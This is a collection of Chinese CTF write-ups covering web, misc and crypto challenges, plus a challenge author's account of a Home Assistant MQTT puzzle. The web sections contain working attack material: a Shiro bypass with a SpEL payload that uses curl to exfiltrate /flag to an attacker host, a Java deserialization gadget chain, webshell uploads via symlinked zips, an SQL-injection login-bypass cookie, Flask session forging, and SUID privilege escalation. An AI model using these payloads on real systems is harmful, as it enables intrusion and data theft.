分类 CTF 下的文章

只发了自己做的,misc题目不好评价(主要是我菜。

Web

unzip

  1. unzip -o 可以用软连接连上/var/www/html,文件名为aa,传上去后unzip解压,就会有个aa的软连接
  2. 再建一个压缩包,里面塞个马,aa/cmd.php这样。
  3. 蚁剑连上去拿flag就行。


dumpit

  1. 主要利用点就是在dump这里,提示中的rce没啥用(赛后发现这里其实可以%0a换行rce)
  2. 利用报错重定向,将报错的内容重定向到log/下面,访问log/就可以了。
  3. 在phpinfo中找到flag

Misc

签到

python读/flag就行

print(open('/flag').read())

Crypto

基于国密SM2算法的密钥密文分发

  1. 跟着文档一步一步走就行
  2. iShot_2023-05-27_13.25.56
    iShot_2023-05-27_13.25.47
    iShot_2023-05-27_13.25.27

Sign_in_passwd

  1. base64,替换一下字符就行
    iShot_2023-05-27_13.47.18

前言

川渝大学生信息安全竞赛(bushi
misc做得少,2个盲水印没出。

WEB

WEB3

  1. sqlmap -u "http://f47b450586d37024.node.nsctf.cn/index.php" --data "session_id=t6kvde8irh72fjte5sjdddjna0" -D level1 -T secrets -C secret --dump secret

easy_java

  1. shiro1.9 %0a绕过权限绕过
  2. spel命令执行
  3. curl文件外带
POST /admin/flag%0aa HTTP/1.1
Host: 1fe71bef758cbc4b.node.nsctf.cn
Content-Length: 104
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://1fe71bef758cbc4b.node.nsctf.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1fe71bef758cbc4b.node.nsctf.cn/admin/flag%0aa
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

spel=T(java.lang.Runtime).getRuntime().exec('curl -X POST -F xx=@/flag <ip>:8848/?r=`whoami`')

MISC

sunflower

  1. foremost提取出2张一样的图片

  2. 盲水印解密得到flag

  3. 盲水印解密GitHub链接
    https://github.com/chishaxie/BlindWaterMark

precision

  1. file发现精度有问题

  2. 修改精度可以打开图片

  3. binwalk提取到zip文件

  4. 盲水印提取到字符串

  5. 利用字符串解压后, 得到base.txt

  6. base32隐写, 脚本一把梭。

import base64

table='ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
file = open("base.txt")
flag=''
tmpbin=''

for line in file.readlines():
    line=line.strip('\n')
    if(line[-1]=='='):
        if(line[-3]=='='):
            if(line[-4]=='='):
                if (line[-6] == '='):
                    i=table.index(line[-7])
                    b = bin(i)[2:]
                    b = b.zfill(5)
                    tmpbin+=b[-2:]
                    print(line)
                    print(b)
                else:
                    i = table.index(line[-5])
                    b = bin(i)[2:]
                    b = b.zfill(5)
                    tmpbin += b[-4:]
                    print(line)
                    print(b)
            else:
                i = table.index(line[-4])
                b = bin(i)[2:]
                b = b.zfill(5)
                tmpbin += b[-1:]
                print(line)
                print(b)
        else:
            i = table.index(line[-2])
            b = bin(i)[2:]
            b = b.zfill(5)
            tmpbin += b[-3:]
            print(line)
            print(b)

length= len(tmpbin)/8
for i in range(int(length)):
    flag+=chr(int(tmpbin[i*8:i*8+8],2))

print(tmpbin)
print(flag)

Crypto

web669

  1. 源码分析,该路由可以读文件,双写绕过,获得hosts

    http://eci-2ze4ancva5i0u7z30bd6.cloudeci1.ichunqiu.com:8888/....//....//....//....//....//....//....//....///etc/hosts

  2. 得到key,该key用在加密上。

  3. 利用脚本解析jwt,并且将user改为Administrator,即可绕过权限检测。

    ➜  flask-session-cookie-manager-master python3 flask_session_cookie_manager3.py decode -s "engine-1" -c "eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.YwiJAQ.f9ZMqkSoEF5HLqEMXGgo7FXPkSw"
    {'updir': 'static/uploads/4b3cf1ffc9224f4d830c5a29db854d15', 'user': 'Guest'}
    ➜  flask-session-cookie-manager-master python3 flask_session_cookie_manager3.py encode -s "engine-1" -t "{'updir': '.', 'user': 'Administrator'}"
    eyJ1cGRpciI6Ii4iLCJ1c2VyIjoiQWRtaW5pc3RyYXRvciJ9.YwiJvw.x5iG_1HwbmQOOp7wB2Dw0WzhASY
    
  4. 利用updir进行文件覆盖,实现SSTI。


  5. 即可传递a参数,实现命令执行

  6. 找到flag

  7. 查看flag,发现没回显,权限不够

  8. 查找可以执行的命令
    ?a=find / -user root -perm -4000 -print 2>/dev/null

  9. 利用dd获取flag
    ?a=/usr/bin/dd%20if=/flag

by Yunoon

前言

题目的灵感是来自于Yunoon这边自己为了方便显示器信号的频繁切换,不想一直摁显示器的切换按钮而来。
正巧家里还有小爱音响pro、智能网关这类,就想着组个智能家居,顺便把这些设备全都接入到一个平台上,目前比较友好的就是home assistant了。

Home Assistant 是一款用于家庭自动化的免费开源软件,旨在成为智能家居设备的中央控制系统,专注于本地控制和隐私。可以使用 Android 和 iOS 配套应用程序通过基于 Web 的用户界面访问它,或者通过支持的虚拟助手(如 Google Assistant、Amazon Alexa 甚至斯坦福大学的“Genie”(以前称为“Almond”))通过语音命令访问它开放虚拟助理实验室 (OVAL.) ----翻译自维基百科

这样可以将这些设备都接入到苹果生态中啦(懒狗、deadline都是核心生产力)。
在搭建好后,就购买了可以控制红外收发的设备(ESP8266+收发模块),以及HDMI切换器(支持红外控制)。

通过将ESP8266刷入激活了红外模块的tasmota系统

TASMOTA是具有快速设置和更新的完全本地控制。
使用 MQTT、Web UI、HTTP 或串行进行控制。
使用计时器、规则或脚本实现自动化。
与家庭自动化解决方案集成。
令人难以置信的可扩展性和灵活性。

通过tasmota的控制台可以接收到HDMI红外遥控的NUC数据,将获取的数据存储下来。

在将tasmota添加至home assistant中,在home assistant的configuration.yaml中编写一个开关模块(将获取到的NUC数据放在请求接口中),该模块将调用mqtt的订阅,实现利用mqtt+tasmota控制HDMI控制器。

并且在home assistant中添加HomeKit就可以将红外开关放人HomeKit中了~

题目描述

Yunoon最近沉迷于homeassistant,但他忘记了显示器切换的红外信号数据了,你能帮帮他么。

tips:因为Yunoon比较懒,所有的配置都是默认的。

一个被docker环境难倒的废人呜呜呜

URL:http://222.187.239.143:10013

直播间URL:https://b23.tv/bn0pPAR

别扫别的端口了,求求惹。

不用爆破密码我直接给:admin/admin

共享环境,请不要更改密码。

考点

弱密码(X)/mqtt订阅通配符/homeassistant/tasmota

出题步骤

  1. 弱密码登录(已经省略啦
  2. 通过查看设备,发现tasmota设备位于局域网中,无法访问。
  3. 可以通过tips了解到,tasmota的mqtt监听默认主题cmnd
  4. 利用在mqtt主题中获取到的cmnd加上通配符,即可监听所有的tasmota的mqtt数据。
  5. 再次点击切换,即可获取到data数据,即flag。

解题步骤

  1. 使用题目描述中的admin/admin进入

  2. 首页就可以发现有显示器切换的按钮。

  3. 但问题的点就是在如何获取到其中的信号(data数据),没有玩过home assistant的小伙伴可能就是一脸懵*,但这里就是一个考察大家如何通过已知的信息进行更多信息收集的能力,比如home assistant是什么,开启的服务。

  4. 进入后,发现开启了3个服务,分别为MQTT、Radio Browser、Tasmota

  5. 这里就可以考虑到题目描述中的默认配置,以及MQTT。

  6. Tasmota的MQTT默认订阅为cmnd/stat/tele

  7. 这里就可以利用MQTT的通配符特性来捕获cmnd下所有的数据,即cmnd/#

  8. 在MQTT的配置页面进行监听,再开启一个页面进入首页,点击屏幕切换,即可获取显示器切换的data。

    点击切换按钮

  9. 即可获取flag

解题步骤2.0

  1. 在原有基础上,可以下载MQTT服务的诊断文件,也可获得flag。

  2. 查看下载文件

后话

这个题目其实不算是漏洞考点(毕竟是Misc),主要就是在看看大家在遇到没有遇到过的环境时的临时应变以及信息收集的能力,塞入的真实环境也是节目效果,是要在拿到彩蛋后才能触发的真结局。

希望下一次的NepCTF能够给各位整点新活,我们下次再见!

关于彩蛋

再读下题目描述,和docker相关。
在这之前做出来都算哟。
后续会在平台关闭后再将彩蛋解题思路上线博客博客链接

Misc

简单取证

  1. 浏览记录查看vol.py -f file.raw --profile=WinXPSP2x86 iehistory

    Process: 1600 explorer.exe
    Cache type "URL " at 0x1fb5800
    Record length: 0x100
    Location: Visited: Administrator@http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome
    Last modified: 2022-06-20 12:36:39 UTC+0000
    Last accessed: 2022-06-20 12:36:39 UTC+0000
    File Offset: 0x100, Data Offset: 0x0, Data Length: 0xc4
    **************************************************
    Process: 1600 explorer.exe
    Cache type "DEST" at 0x2ab9a55
    Last modified: 2022-06-20 21:00:08 UTC+0000
    Last accessed: 2022-06-20 13:00:10 UTC+0000
    URL: Administrator@file:///C:/Documents%20and%20Settings/Administrator/Lhb/secret.jpg
    

    获取到敏感文件secret.jpg

  2. 全局搜索secret.jpgvol.py -f file.raw --profile=WinXPSP2x86 filescan | grep secret.jpg

    yunoon@YunoondeMacBook-Air Simple_forensics % vol.py -f file.raw --profile=WinXPSP2x86 filescan | grep secret.jpg
    Volatility Foundation Volatility Framework 2.6.1
    0x000000000207e3d8      1      0 RW-rw- \Device\HarddiskVolume1\Documents and Settings\Administrator\Recent\secret.jpg (3).lnk
    0x0000000002325028      1      0 R--r-- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\secret.jpg
    
  3. 提取secret.jpg vol.py -f file.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000000002325028 --dump-dir=./

  4. 查看发现为base64加密的逆序数据,将其解密,得到一个加密的zip包。
    iShot_2022-07-02_15.58.14

  5. 通过strings file.raw | grep password获取到密码echo password = 62b041223bb9a

  6. 解压后,发现是散点图。

  7. gnuplot绘制即可a

  8. 扫码获取flag:flag{a6b93e36-f097-11ec-a9b2-5254002d2b31}

what_is_log(是一血 好耶!)

strings flag2.scap
challenge
info
info
name
name

challenge
info
+---------+----------------------------------+
| name    | data                             |
+---------+----------------------------------+
| success | 1555a651a13ec074ce725383214fd7cc |
+---------+----------------------------------+
1 row in set (0.00 sec)
/etc/localtime
mysql> 
+---------+----------------------------------+
| name    | data                
/proc/loadavg

flag: PCL{1555a651a13ec074ce725383214fd7cc}7cc}

Web

Ez_Java

  1. 解压后,通过IDEA进行反编译。

  2. 先通过signedobject二次反序列化绕黑名单

  3. 再用/data接口打cb链

    TemplatesImpl obj = new TemplatesImpl();
    setFieldValue(obj, "_bytecodes", new byte[][]{
        ClassPool.getDefault().get(calc.class.getName()).toBytecode()
    });
    setFieldValue(obj, "_name", "HelloTemplatesImpl");
    setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
    Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
    ConstantFactory constantFactory = new ConstantFactory(TrAXFilter.class);
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[] { Templates.class },
                new Object[] { obj })
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map hashMap = new HashMap();
        Map outerMap = DefaultedMap.decorate(hashMap, transformerChain);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "key");
        HashMap evalMap = new HashMap();
        evalMap.put(tiedMapEntry, "test");
        outerMap.remove("key");
        Field declaredFields = ChainedTransformer.class.getDeclaredField("iTransformers");
        declaredFields.setAccessible(true);
        declaredFields.set(transformerChain, transformers);
        PrivateKey privateKey = new PrivateKey() {
            @Override
            public String getAlgorithm() {
                return null;
            }
        
            @Override
            public String getFormat() {
                return null;
            }
        
            @Override
            public byte[] getEncoded() {
                return new byte[0];
            }
        };
        Signature signature = new Signature("AES") {
            @Override
            protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
        
            }
        
            @Override
            protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
        
            }
        
            @Override
            protected void engineUpdate(byte b) throws SignatureException {
        
            }
        
            @Override
            protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
        
            }
        
            @Override
            protected byte[] engineSign() throws SignatureException {
                return new byte[0];
            }
        
            @Override
            protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
                return false;
            }
        
            @Override
            protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
        
            }
        
            @Override
            protected Object engineGetParameter(String param) throws InvalidParameterException {
                return null;
            }
        };
        SignedObject signedObject = new SignedObject(evalMap, privateKey, signature);
            final BeanComparator comparator = new BeanComparator();
            final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
            queue.add(1);
            queue.add(1);
            setFieldValue(comparator, "property", "object");
            setFieldValue(queue, "queue", new Object[]{signedObject, signedObject});
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(queue);
            oos.close();
        
    

高手高手高高手

  1. 扫出路径login.php

  2. 发现是navigate cms的洞,题目提示有msf,那就直接用msf来试试,发现路径要改为“/”,但依旧上传不成功。

  3. 登录绕过Cookie:navigate-user=\' OR TRUE--%20

  4. 利用发现template处可以文件任意写入
    Snipaste_2022-07-03_08-44-14
    Snipaste_2022-07-03_08-44-20

  5. 就可以用蚁剑连上。
    Snipaste_2022-07-03_08-29-49

  6. 然后再反弹shell,使用同样的方法再上传个polkit提权。
    Snipaste_2022-07-03_08-44-36
    Snipaste_2022-07-03_08-43-22

  7. 发现有个flag文件,但提示需要删掉菠菜内容,二进制查看,发现文件位置。

  8. 去掉写保护后,可以成功删除,并且再次执行拿到flag。
    Snipaste_2022-07-03_08-43-33
    Snipaste_2022-07-03_08-43-43